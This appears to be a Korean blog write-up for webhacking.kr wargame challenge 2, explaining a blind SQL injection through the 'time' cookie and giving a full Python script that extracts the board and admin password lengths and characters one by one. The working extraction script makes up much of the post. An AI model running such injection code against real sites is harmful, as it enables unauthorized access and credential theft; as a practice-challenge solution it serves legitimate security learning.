본문 바로가기

Wargame/webhacking.kr

[webhacking.kr] 02. 2번 문제

webhacking.kr의 2번 문제이다. webhacking.kr을 시작한다고 했을 때 주변에서 이 문제가 실제로 CTF에서도 나왔을 정도로 잘 만들어진 문제(어느 CTF에서 나왔는지는 모름)이고 괜찮은 내용을 다루고 있다고 익히들었다. 물론 현재 작성하고 있을 때보다 이전에 해결한 문제이지만 현재 이 게시글을 쓰면서 되돌아보니 재미있고, 잘 만들어진 문제라고 하는게 어느정도 이해가 되니 흐뭇하다.


간단하게 얘기하면 해당 문제는 블라인드 SQL Injection라고 단정 짓기에는 그렇지만 나는 Blind SQL Injection 문제라고 생각하고 문제를 해결하였다.



먼저 SQL Injection이 가능한 포인트 부분으로 페이지를 접속하면 쿠키 time의 존재와 문제 메인 페이지의 소스보기를 통해 타임 값이 주석처리되어 있는 것을 볼 수 있다.



쿠키 time의 값 뒤에 and 0, and 1 등과 같이 주입한 결과에 따라 주석의 값이 변경되는 것을 보고 SQL Injection 문제임을 파악할 수 있다.



페이지를 둘러보며 두곳의 패스워드를 Blind SQL Injection을 통해 알아내는 것이 문제의 핵심인 것을 파악할 수 있다.

 

1. Board 게시글


2. admin 페이지(메인 페이지에서 우측 상단의 용의 머리를 클릭하면 이동)


패스워드를 알아내는 방법은 아래와 같이 Blind SQL Injection을 진행한다.

1)Blind SQL Injection을 통한 패스워드의 길이 구하기

2)Blind SQL Injection을 통한 패스워드 알아내기


물론, 길이를 알아내지 않아도 값만 바로 알아내는 것이 가능하지만  확실한 정보를 얻기 위해 길이, 값 순서로 진행


다음 소스코드를 활용하여 문제를 쉽게 해결할 수 있다.

해당 소스를 이용하면 바로 문제를 쉽게 해결할 수 있기에 문제의 의도를 파악하고, 소스코드를 이해하고 활용하는 것을 추천한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#Code Written by hackyu
import requests
 
FreeB0aRd_pw_length = 0
board_pw = ""
admin_pw_length = 0
admin_pw = ""
 
url = "http://webhacking.kr/challenge/web/web-02/index.php"
 
#Find Board PW Length
for i in range(1,20):
    headers = {
        "Cookie""time=1534861794 and (select length(password) from FreeB0aRd) = %d; PHPSESSID=Your PHPSESSID" % i
    }
    try:
        print "Try: %d" % i 
        res = requests.get(url, headers=headers)
    
        if "<!--2070-01-01 09:00:01-->" in res.content:
            print "Find!!!!!!!!!!!\n"
            FreeB0aRd_pw_length = i
            break
    except Exception as e:
        i = i-1
        continue
 
print "Board Password Length:", FreeB0aRd_pw_length
 
 
 
#Find Board PW
for i in range(1,FreeB0aRd_pw_length+1):
    for j in range(0x21,0x7f):
        
        headers = {
            "Cookie""time=1534861794 and ascii((select substr(password,%d,1) from FreeB0aRd)) = %d; PHPSESSID=Your PHPSESSID" % (i,j)
        }
 
        try:
            print "Try: %d" % j
            print "Try: %c" % chr(j) 
            res = requests.get(url, headers=headers)
 
            if "<!--2070-01-01 09:00:01-->" in res.content:
                print "Find!!!!!!!!!!!\n"
                board_pw = board_pw+chr(j)
                print board_pw
                break
 
        except Exception as e:
            j = j-1
            continue
 
print "Board PW", board_pw
 
 
 
#Find ADMIN PW Length
for i in range(1,20):
    headers = {
        "Cookie""time=1534861794 and (select length(password) from admin) = %d; PHPSESSID=Your PHPSESSID" % i
    }
    try:
        print "Try: %d" % i 
        res = requests.get(url, headers=headers)
        
        if "<!--2070-01-01 09:00:01-->" in res.content:
            print "Find!!!!!!!!!!!\n"
            admin_pw_length = i
            break
    except Exception as e:
        i = i-1
 
print "ADMIN Password Length:", admin_pw_length
 
 
 
#Find ADMIN PW 
for i in range(1,admin_pw_length+1):
    for j in range(0x21,0x7f):
        
        headers = {
            "Cookie""time=1534861794 and ascii((select substr(password,%d,1) from admin)) = %d; PHPSESSID=Your PHPSESSID" % (i,j)
        }
 
        try:
            print "Try: %d" % j
            print "Try: %c" % chr(j) 
            res = requests.get(url, headers=headers)
 
            if "<!--2070-01-01 09:00:01-->" in res.content:
                print "Find!!!!!!!!!!!\n"
                admin_pw = admin_pw+chr(j)
                print admin_pw
                break
        
        except Exception as e:
            j = j-1        
 
print "board_pw_length", FreeB0aRd_pw_length
print "board_pw", board_pw
print "admin_pw_length", admin_pw_length
print "admin_pw", admin_pw   
cs











마무리로 문제 풀이 순서는 다음과 같이 정리할 수 있다.


1) Board에 하나의 게시글이 존재하고, 해당 게시글은 패스워드를 요구함

2) Blind SQL Injection을 통해 board의 패스워드를 알아냄

3) 알아낸 패스워드를 이용하여 게시글에 접근하면, 압축파일을 다운로드 받을 수 있음

4) 압축파일에는 암호가 걸려있고, 해당 패스워드는 admin 페이지에 존재함.

5) admin 페이지에서 패스워드를 요구함 

6) Blind SQL Injection을 통해 admin 페이지의 패스워드를 알아냄

7) 알아낸 패스워드를 이용하여 admin 페이지에 접근한 후 압축파일의 패스워드를 획득하고 압축파일을 해체함.

8) 압축파일에 존재하는 파일(.html)을 통해 webhacking.kr Auth 패스워드 및 플래그 획득하여 문제 클리어



'Wargame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 01. 1번 문제  (0) 2018.08.20
Write up Start(Webhacking.kr으로...)  (0) 2018.08.20